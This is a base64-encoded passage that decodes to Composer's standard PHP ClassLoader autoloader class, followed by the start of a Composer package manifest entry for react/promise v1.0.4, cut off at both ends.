pc3RlciBjbGFzc2VzIHdpdGggbmFtZXNwYWNlcwogKiAgICAgJGxvYWRlci0+YWRkKCdTeW1mb255XENvbXBvbmVudCcsIF9fRElSX18uJy9jb21wb25lbnQnKTsKICogICAgICRsb2FkZXItPmFkZCgnU3ltZm9ueScsICAgICAgICAgICBfX0RJUl9fLicvZnJhbWV3b3JrJyk7CiAqCiAqICAgICAvLyBhY3RpdmF0ZSB0aGUgYXV0b2xvYWRlcgogKiAgICAgJGxvYWRlci0+cmVnaXN0ZXIoKTsKICoKICogICAgIC8vIHRvIGVuYWJsZSBzZWFyY2hpbmcgdGhlIGluY2x1ZGUgcGF0aCAoZWcuIGZvciBQRUFSIHBhY2thZ2VzKQogKiAgICAgJGxvYWRlci0+c2V0VXNlSW5jbHVkZVBhdGgodHJ1ZSk7CiAqCiAqIEluIHRoaXMgZXhhbXBsZSwgaWYgeW91IHRyeSB0byB1c2UgYSBjbGFzcyBpbiB0aGUgU3ltZm9ueVxDb21wb25lbnQKICogbmFtZXNwYWNlIG9yIG9uZSBvZiBpdHMgY2hpbGRyZW4gKFN5bWZvbnlcQ29tcG9uZW50XENvbnNvbGUgZm9yIGluc3RhbmNlKSwKICogdGhlIGF1dG9sb2FkZXIgd2lsbCBmaXJzdCBsb29rIGZvciB0aGUgY2xhc3MgdW5kZXIgdGhlIGNvbXBvbmVudC8KICogZGlyZWN0b3J5LCBhbmQgaXQgd2lsbCB0aGVuIGZhbGxiYWNrIHRvIHRoZSBmcmFtZXdvcmsvIGRpcmVjdG9yeSBpZiBub3QKICogZm91bmQgYmVmb3JlIGdpdmluZyB1cC4KICoKICogVGhpcyBjbGFzcyBpcyBsb29zZWx5IGJhc2VkIG9uIHRoZSBTeW1mb255IFVuaXZlcnNhbENsYXNzTG9hZGVyLgogKgogKiBAYXV0aG9yIEZhYmllbiBQb3RlbmNpZXIgPGZhYmllbkBzeW1mb255LmNvbT4KICogQGF1dGhvciBKb3JkaSBCb2dnaWFubyA8ai5ib2dnaWFub0BzZWxkLmJlPgogKi8KY2xhc3MgQ2xhc3NMb2FkZXIKewogICAgLy8gUFNSLTQKICAgIHByaXZhdGUgJHByZWZpeExlbmd0aHNQc3I0ID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJHByZWZpeERpcnNQc3I0ID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJGZhbGxiYWNrRGlyc1BzcjQgPSBhcnJheSgpOwoKICAgIC8vIFBTUi0wCiAgICBwcml2YXRlICRwcmVmaXhlc1BzcjAgPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkZmFsbGJhY2tEaXJzUHNyMCA9IGFycmF5KCk7CgogICAgcHJpdmF0ZSAkdXNlSW5jbHVkZVBhdGggPSBmYWxzZTsKICAgIHByaXZhdGUgJGNsYXNzTWFwID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UHJlZml4ZXMoKQogICAgewogICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuY19hcnJheSgnYXJyYXlfbWVyZ2UnLCAkdGhpcy0+cHJlZml4ZXNQc3IwKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UHJlZml4ZXNQc3I0KCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnByZWZpeERpcnNQc3I0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRGYWxsYmFja0RpcnMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZmFsbGJhY2tEaXJzUHNyMDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0RmFsbGJhY2tEaXJzUHNyNCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5mYWxsYmFja0RpcnNQc3I0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDbGFzc01hcCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jbGFzc01hcDsKICAgIH0KCiAgICAvKioKICAgICAqIEBwYXJhbSBhcnJheSAkY2xhc3NNYXAgQ2xhc3MgdG8gZmlsZW5hbWUgbWFwCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRDbGFzc01hcChhcnJheSAkY2xhc3NNYXApCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5jbGFzc01hcCkgewogICAgICAgICAgICAkdGhpcy0+Y2xhc3NNYXAgPSBhcnJheV9tZXJnZSgkdGhpcy0+Y2xhc3NNYXAsICRjbGFzc01hcCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmNsYXNzTWFwID0gJGNsYXNzTWFwOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFJlZ2lzdGVycyBhIHNldCBvZiBQU1ItMCBkaXJlY3RvcmllcyBmb3IgYSBnaXZlbiBwcmVmaXgsIGVpdGhlcgogICAgICogYXBwZW5kaW5nIG9yIHByZXBlbmRpbmcgdG8gdGhlIG9uZXMgcHJldmlvdXNseSBzZXQgZm9yIHRoaXMgcHJlZml4LgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAgJHByZWZpeCAgVGhlIHByZWZpeAogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkcGF0aHMgICBUaGUgUFNSLTAgcm9vdCBkaXJlY3RvcmllcwogICAgICogQHBhcmFtIGJvb2wgICAgICAgICAkcHJlcGVuZCBXaGV0aGVyIHRvIHByZXBlbmQgdGhlIGRpcmVjdG9yaWVzCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGQoJHByZWZpeCwgJHBhdGhzLCAkcHJlcGVuZCA9IGZhbHNlKQogICAgewogICAgICAgIGlmICghJHByZWZpeCkgewogICAgICAgICAgICBpZiAoJHByZXBlbmQpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5mYWxsYmFja0RpcnNQc3IwID0gYXJyYXlfbWVyZ2UoCiAgICAgICAgICAgICAgICAgICAgKGFycmF5KSAkcGF0aHMsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZhbGxiYWNrRGlyc1BzcjAKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmFsbGJhY2tEaXJzUHNyMCA9IGFycmF5X21lcmdlKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5mYWxsYmFja0RpcnNQc3IwLAogICAgICAgICAgICAgICAgICAgIChhcnJheSkgJHBhdGhzCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkZmlyc3QgPSAkcHJlZml4WzBdOwogICAgICAgIGlmICghaXNzZXQoJHRoaXMtPnByZWZpeGVzUHNyMFskZmlyc3RdWyRwcmVmaXhdKSkgewogICAgICAgICAgICAkdGhpcy0+cHJlZml4ZXNQc3IwWyRmaXJzdF1bJHByZWZpeF0gPSAoYXJyYXkpICRwYXRoczsKCiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgaWYgKCRwcmVwZW5kKSB7CiAgICAgICAgICAgICR0aGlzLT5wcmVmaXhlc1BzcjBbJGZpcnN0XVskcHJlZml4XSA9IGFycmF5X21lcmdlKAogICAgICAgICAgICAgICAgKGFycmF5KSAkcGF0aHMsCiAgICAgICAgICAgICAgICAkdGhpcy0+cHJlZml4ZXNQc3IwWyRmaXJzdF1bJHByZWZpeF0KICAgICAgICAgICAgKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+cHJlZml4ZXNQc3IwWyRmaXJzdF1bJHByZWZpeF0gPSBhcnJheV9tZXJnZSgKICAgICAgICAgICAgICAgICR0aGlzLT5wcmVmaXhlc1BzcjBbJGZpcnN0XVskcHJlZml4XSwKICAgICAgICAgICAgICAgIChhcnJheSkgJHBhdGhzCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmVnaXN0ZXJzIGEgc2V0IG9mIFBTUi00IGRpcmVjdG9yaWVzIGZvciBhIGdpdmVuIG5hbWVzcGFjZSwgZWl0aGVyCiAgICAgKiBhcHBlbmRpbmcgb3IgcHJlcGVuZGluZyB0byB0aGUgb25lcyBwcmV2aW91c2x5IHNldCBmb3IgdGhpcyBuYW1lc3BhY2UuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAgICAgICAkcHJlZml4ICBUaGUgcHJlZml4L25hbWVzcGFjZSwgd2l0aCB0cmFpbGluZyAnXFwnCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRwYXRocyAgIFRoZSBQU1ItMCBiYXNlIGRpcmVjdG9yaWVzCiAgICAgKiBAcGFyYW0gYm9vbCAgICAgICAgICRwcmVwZW5kIFdoZXRoZXIgdG8gcHJlcGVuZCB0aGUgZGlyZWN0b3JpZXMKICAgICAqCiAgICAgKiBAdGhyb3dzIFxJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZFBzcjQoJHByZWZpeCwgJHBhdGhzLCAkcHJlcGVuZCA9IGZhbHNlKQogICAgewogICAgICAgIGlmICghJHByZWZpeCkgewogICAgICAgICAgICAvLyBSZWdpc3RlciBkaXJlY3RvcmllcyBmb3IgdGhlIHJvb3QgbmFtZXNwYWNlLgogICAgICAgICAgICBpZiAoJHByZXBlbmQpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5mYWxsYmFja0RpcnNQc3I0ID0gYXJyYXlfbWVyZ2UoCiAgICAgICAgICAgICAgICAgICAgKGFycmF5KSAkcGF0aHMsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZhbGxiYWNrRGlyc1BzcjQKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmFsbGJhY2tEaXJzUHNyNCA9IGFycmF5X21lcmdlKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5mYWxsYmFja0RpcnNQc3I0LAogICAgICAgICAgICAgICAgICAgIChhcnJheSkgJHBhdGhzCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCFpc3NldCgkdGhpcy0+cHJlZml4RGlyc1BzcjRbJHByZWZpeF0pKSB7CiAgICAgICAgICAgIC8vIFJlZ2lzdGVyIGRpcmVjdG9yaWVzIGZvciBhIG5ldyBuYW1lc3BhY2UuCiAgICAgICAgICAgICRsZW5ndGggPSBzdHJsZW4oJHByZWZpeCk7CiAgICAgICAgICAgIGlmICgnXFwnICE9PSAkcHJlZml4WyRsZW5ndGggLSAxXSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFxJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oIkEgbm9uLWVtcHR5IFBTUi00IHByZWZpeCBtdXN0IGVuZCB3aXRoIGEgbmFtZXNwYWNlIHNlcGFyYXRvci4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhpcy0+cHJlZml4TGVuZ3Roc1BzcjRbJHByZWZpeFswXV1bJHByZWZpeF0gPSAkbGVuZ3RoOwogICAgICAgICAgICAkdGhpcy0+cHJlZml4RGlyc1BzcjRbJHByZWZpeF0gPSAoYXJyYXkpICRwYXRoczsKICAgICAgICB9IGVsc2VpZiAoJHByZXBlbmQpIHsKICAgICAgICAgICAgLy8gUHJlcGVuZCBkaXJlY3RvcmllcyBmb3IgYW4gYWxyZWFkeSByZWdpc3RlcmVkIG5hbWVzcGFjZS4KICAgICAgICAgICAgJHRoaXMtPnByZWZpeERpcnNQc3I0WyRwcmVmaXhdID0gYXJyYXlfbWVyZ2UoCiAgICAgICAgICAgICAgICAoYXJyYXkpICRwYXRocywKICAgICAgICAgICAgICAgICR0aGlzLT5wcmVmaXhEaXJzUHNyNFskcHJlZml4XQogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIEFwcGVuZCBkaXJlY3RvcmllcyBmb3IgYW4gYWxyZWFkeSByZWdpc3RlcmVkIG5hbWVzcGFjZS4KICAgICAgICAgICAgJHRoaXMtPnByZWZpeERpcnNQc3I0WyRwcmVmaXhdID0gYXJyYXlfbWVyZ2UoCiAgICAgICAgICAgICAgICAkdGhpcy0+cHJlZml4RGlyc1BzcjRbJHByZWZpeF0sCiAgICAgICAgICAgICAgICAoYXJyYXkpICRwYXRocwogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFJlZ2lzdGVycyBhIHNldCBvZiBQU1ItMCBkaXJlY3RvcmllcyBmb3IgYSBnaXZlbiBwcmVmaXgsCiAgICAgKiByZXBsYWNpbmcgYW55IG90aGVycyBwcmV2aW91c2x5IHNldCBmb3IgdGhpcyBwcmVmaXguCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAgICAgICAkcHJlZml4IFRoZSBwcmVmaXgKICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJHBhdGhzICBUaGUgUFNSLTAgYmFzZSBkaXJlY3RvcmllcwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRwcmVmaXgsICRwYXRocykKICAgIHsKICAgICAgICBpZiAoISRwcmVmaXgpIHsKICAgICAgICAgICAgJHRoaXMtPmZhbGxiYWNrRGlyc1BzcjAgPSAoYXJyYXkpICRwYXRoczsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+cHJlZml4ZXNQc3IwWyRwcmVmaXhbMF1dWyRwcmVmaXhdID0gKGFycmF5KSAkcGF0aHM7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmVnaXN0ZXJzIGEgc2V0IG9mIFBTUi00IGRpcmVjdG9yaWVzIGZvciBhIGdpdmVuIG5hbWVzcGFjZSwKICAgICAqIHJlcGxhY2luZyBhbnkgb3RoZXJzIHByZXZpb3VzbHkgc2V0IGZvciB0aGlzIG5hbWVzcGFjZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICAgICRwcmVmaXggVGhlIHByZWZpeC9uYW1lc3BhY2UsIHdpdGggdHJhaWxpbmcgJ1xcJwogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkcGF0aHMgIFRoZSBQU1ItNCBiYXNlIGRpcmVjdG9yaWVzCiAgICAgKgogICAgICogQHRocm93cyBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRQc3I0KCRwcmVmaXgsICRwYXRocykKICAgIHsKICAgICAgICBpZiAoISRwcmVmaXgpIHsKICAgICAgICAgICAgJHRoaXMtPmZhbGxiYWNrRGlyc1BzcjQgPSAoYXJyYXkpICRwYXRoczsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRwcmVmaXgpOwogICAgICAgICAgICBpZiAoJ1xcJyAhPT0gJHByZWZpeFskbGVuZ3RoIC0gMV0pIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCJBIG5vbi1lbXB0eSBQU1ItNCBwcmVmaXggbXVzdCBlbmQgd2l0aCBhIG5hbWVzcGFjZSBzZXBhcmF0b3IuIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRoaXMtPnByZWZpeExlbmd0aHNQc3I0WyRwcmVmaXhbMF1dWyRwcmVmaXhdID0gJGxlbmd0aDsKICAgICAgICAgICAgJHRoaXMtPnByZWZpeERpcnNQc3I0WyRwcmVmaXhdID0gKGFycmF5KSAkcGF0aHM7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogVHVybnMgb24gc2VhcmNoaW5nIHRoZSBpbmNsdWRlIHBhdGggZm9yIGNsYXNzIGZpbGVzLgogICAgICoKICAgICAqIEBwYXJhbSBib29sICR1c2VJbmNsdWRlUGF0aAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VXNlSW5jbHVkZVBhdGgoJHVzZUluY2x1ZGVQYXRoKQogICAgewogICAgICAgICR0aGlzLT51c2VJbmNsdWRlUGF0aCA9ICR1c2VJbmNsdWRlUGF0aDsKICAgIH0KCiAgICAvKioKICAgICAqIENhbiBiZSB1c2VkIHRvIGNoZWNrIGlmIHRoZSBhdXRvbG9hZGVyIHVzZXMgdGhlIGluY2x1ZGUgcGF0aCB0byBjaGVjawogICAgICogZm9yIGNsYXNzZXMuCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRVc2VJbmNsdWRlUGF0aCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT51c2VJbmNsdWRlUGF0aDsKICAgIH0KCiAgICAvKioKICAgICAqIFJlZ2lzdGVycyB0aGlzIGluc3RhbmNlIGFzIGFuIGF1dG9sb2FkZXIuCiAgICAgKgogICAgICogQHBhcmFtIGJvb2wgJHByZXBlbmQgV2hldGhlciB0byBwcmVwZW5kIHRoZSBhdXRvbG9hZGVyIG9yIG5vdAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVnaXN0ZXIoJHByZXBlbmQgPSBmYWxzZSkKICAgIHsKICAgICAgICBzcGxfYXV0b2xvYWRfcmVnaXN0ZXIoYXJyYXkoJHRoaXMsICdsb2FkQ2xhc3MnKSwgdHJ1ZSwgJHByZXBlbmQpOwogICAgfQoKICAgIC8qKgogICAgICogVW5yZWdpc3RlcnMgdGhpcyBpbnN0YW5jZSBhcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdW5yZWdpc3RlcigpCiAgICB7CiAgICAgICAgc3BsX2F1dG9sb2FkX3VucmVnaXN0ZXIoYXJyYXkoJHRoaXMsICdsb2FkQ2xhc3MnKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBMb2FkcyB0aGUgZ2l2ZW4gY2xhc3Mgb3IgaW50ZXJmYWNlLgogICAgICoKICAgICAqIEBwYXJhbSAgc3RyaW5nICAgICRjbGFzcyBUaGUgbmFtZSBvZiB0aGUgY2xhc3MKICAgICAqIEByZXR1cm4gYm9vbHxudWxsIFRydWUgaWYgbG9hZGVkLCBudWxsIG90aGVyd2lzZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9hZENsYXNzKCRjbGFzcykKICAgIHsKICAgICAgICBpZiAoJGZpbGUgPSAkdGhpcy0+ZmluZEZpbGUoJGNsYXNzKSkgewogICAgICAgICAgICBpbmNsdWRlRmlsZSgkZmlsZSk7CgogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGaW5kcyB0aGUgcGF0aCB0byB0aGUgZmlsZSB3aGVyZSB0aGUgY2xhc3MgaXMgZGVmaW5lZC4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjbGFzcyBUaGUgbmFtZSBvZiB0aGUgY2xhc3MKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZ3xmYWxzZSBUaGUgcGF0aCBpZiBmb3VuZCwgZmFsc2Ugb3RoZXJ3aXNlCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBmaW5kRmlsZSgkY2xhc3MpCiAgICB7CiAgICAgICAgLy8gd29yayBhcm91bmQgZm9yIFBIUCA1LjMuMCAtIDUuMy4yIGh0dHBzOi8vYnVncy5waHAubmV0LzUwNzMxCiAgICAgICAgaWYgKCdcXCcgPT0gJGNsYXNzWzBdKSB7CiAgICAgICAgICAgICRjbGFzcyA9IHN1YnN0cigkY2xhc3MsIDEpOwogICAgICAgIH0KCiAgICAgICAgLy8gY2xhc3MgbWFwIGxvb2t1cAogICAgICAgIGlmIChpc3NldCgkdGhpcy0+Y2xhc3NNYXBbJGNsYXNzXSkpIHsKICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5jbGFzc01hcFskY2xhc3NdOwogICAgICAgIH0KCiAgICAgICAgJGZpbGUgPSAkdGhpcy0+ZmluZEZpbGVXaXRoRXh0ZW5zaW9uKCRjbGFzcywgJy5waHAnKTsKCiAgICAgICAgLy8gU2VhcmNoIGZvciBIYWNrIGZpbGVzIGlmIHdlIGFyZSBydW5uaW5nIG9uIEhIVk0KICAgICAgICBpZiAoJGZpbGUgPT09IG51bGwgJiYgZGVmaW5lZCgnSEhWTV9WRVJTSU9OJykpIHsKICAgICAgICAgICAgJGZpbGUgPSAkdGhpcy0+ZmluZEZpbGVXaXRoRXh0ZW5zaW9uKCRjbGFzcywgJy5oaCcpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRmaWxlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFJlbWVtYmVyIHRoYXQgdGhpcyBjbGFzcyBkb2VzIG5vdCBleGlzdC4KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5jbGFzc01hcFskY2xhc3NdID0gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJGZpbGU7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBmaW5kRmlsZVdpdGhFeHRlbnNpb24oJGNsYXNzLCAkZXh0KQogICAgewogICAgICAgIC8vIFBTUi00IGxvb2t1cAogICAgICAgICRsb2dpY2FsUGF0aFBzcjQgPSBzdHJ0cigkY2xhc3MsICdcXCcsIERJUkVDVE9SWV9TRVBBUkFUT1IpIC4gJGV4dDsKCiAgICAgICAgJGZpcnN0ID0gJGNsYXNzWzBdOwogICAgICAgIGlmIChpc3NldCgkdGhpcy0+cHJlZml4TGVuZ3Roc1BzcjRbJGZpcnN0XSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnByZWZpeExlbmd0aHNQc3I0WyRmaXJzdF0gYXMgJHByZWZpeCA9PiAkbGVuZ3RoKSB7CiAgICAgICAgICAgICAgICBpZiAoMCA9PT0gc3RycG9zKCRjbGFzcywgJHByZWZpeCkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+cHJlZml4RGlyc1BzcjRbJHByZWZpeF0gYXMgJGRpcikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUgPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHN1YnN0cigkbG9naWNhbFBhdGhQc3I0LCAkbGVuZ3RoKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZmlsZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gUFNSLTQgZmFsbGJhY2sgZGlycwogICAgICAgIGZvcmVhY2ggKCR0aGlzLT5mYWxsYmFja0RpcnNQc3I0IGFzICRkaXIpIHsKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbG9naWNhbFBhdGhQc3I0KSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBQU1ItMCBsb29rdXAKICAgICAgICBpZiAoZmFsc2UgIT09ICRwb3MgPSBzdHJycG9zKCRjbGFzcywgJ1xcJykpIHsKICAgICAgICAgICAgLy8gbmFtZXNwYWNlZCBjbGFzcyBuYW1lCiAgICAgICAgICAgICRsb2dpY2FsUGF0aFBzcjAgPSBzdWJzdHIoJGxvZ2ljYWxQYXRoUHNyNCwgMCwgJHBvcyArIDEpCiAgICAgICAgICAgICAgICAuIHN0cnRyKHN1YnN0cigkbG9naWNhbFBhdGhQc3I0LCAkcG9zICsgMSksICdfJywgRElSRUNUT1JZX1NFUEFSQVRPUik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gUEVBUi1saWtlIGNsYXNzIG5hbWUKICAgICAgICAgICAgJGxvZ2ljYWxQYXRoUHNyMCA9IHN0cnRyKCRjbGFzcywgJ18nLCBESVJFQ1RPUllfU0VQQVJBVE9SKSAuICRleHQ7CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPnByZWZpeGVzUHNyMFskZmlyc3RdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+cHJlZml4ZXNQc3IwWyRmaXJzdF0gYXMgJHByZWZpeCA9PiAkZGlycykgewogICAgICAgICAgICAgICAgaWYgKDAgPT09IHN0cnBvcygkY2xhc3MsICRwcmVmaXgpKSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGRpcikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUgPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRsb2dpY2FsUGF0aFBzcjApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGZpbGU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIFBTUi0wIGZhbGxiYWNrIGRpcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+ZmFsbGJhY2tEaXJzUHNyMCBhcyAkZGlyKSB7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGxvZ2ljYWxQYXRoUHNyMCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gUFNSLTAgaW5jbHVkZSBwYXRocy4KICAgICAgICBpZiAoJHRoaXMtPnVzZUluY2x1ZGVQYXRoICYmICRmaWxlID0gc3RyZWFtX3Jlc29sdmVfaW5jbHVkZV9wYXRoKCRsb2dpY2FsUGF0aFBzcjApKSB7CiAgICAgICAgICAgIHJldHVybiAkZmlsZTsKICAgICAgICB9CiAgICB9Cn0KCi8qKgogKiBTY29wZSBpc29sYXRlZCBpbmNsdWRlLgogKgogKiBQcmV2ZW50cyBhY2Nlc3MgdG8gJHRoaXMvc2VsZiBmcm9tIGluY2x1ZGVkIGZpbGVzLgogKi8KZnVuY3Rpb24gaW5jbHVkZUZpbGUoJGZpbGUpCnsKICAgIGluY2x1ZGUgJGZpbGU7Cn0KWwogICAgewogICAgICAgICJuYW1lIjogInJlYWN0L3Byb21pc2UiLAogICAgICAgICJ2ZXJzaW9uIjogInYxLjAuNCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIxLjAuNC4wIiwKICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9wcm9taXNlLmdpdCIsCiAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjEuMC40IgogICAgICAgIH0sCiAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9wcm9taXNlL3ppcGJhbGwvdjEuMC40IiwKICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJ2MS4wLjQiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAicGhwIjogIj49NS4zLjMiCiAgICAgICAgfSwKICAgICAgICAidGltZSI6ICIyMDEzLTA0LTAzIDE0OjA1OjU1IiwKICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIxLjAtZGV2IgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAiaW5zdGFsbGF0aW9uLXNvdXJjZSI6ICJzb3VyY2UiLAogICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgIlJlYWN0XFxQcm9taXNlIjogInNyYy8iCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgIk1JVCIKICAgICAgICBdLAogICAgICAgICJhdXRob3JzIjogWwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAibmFtZSI6ICJKYW4gU29yZ2FsbGEiLAogICAgICAgICAgICAgICAgImVtYWlsIjogImpzb3JnYWxsYUBnb29nbGVtYWlsLmNvbSIsCiAgICAgICAgICAgICAgICAiaG9tZXBhZ2UiOiAiaHR0cDovL3NvcmdhbGxhLmNvbSIsCiAgICAgICAgICAgICAgICAicm9sZSI6ICJtYWludGFpbmVyIgogICAgICAgICAgICB9CiAgICAgICAgXSwKICAgICAgICAiZGVzY3JpcHRpb24iOiAiQSBsaWdodHdlaWdodCBpbXBsZW1lbnRhdGlvb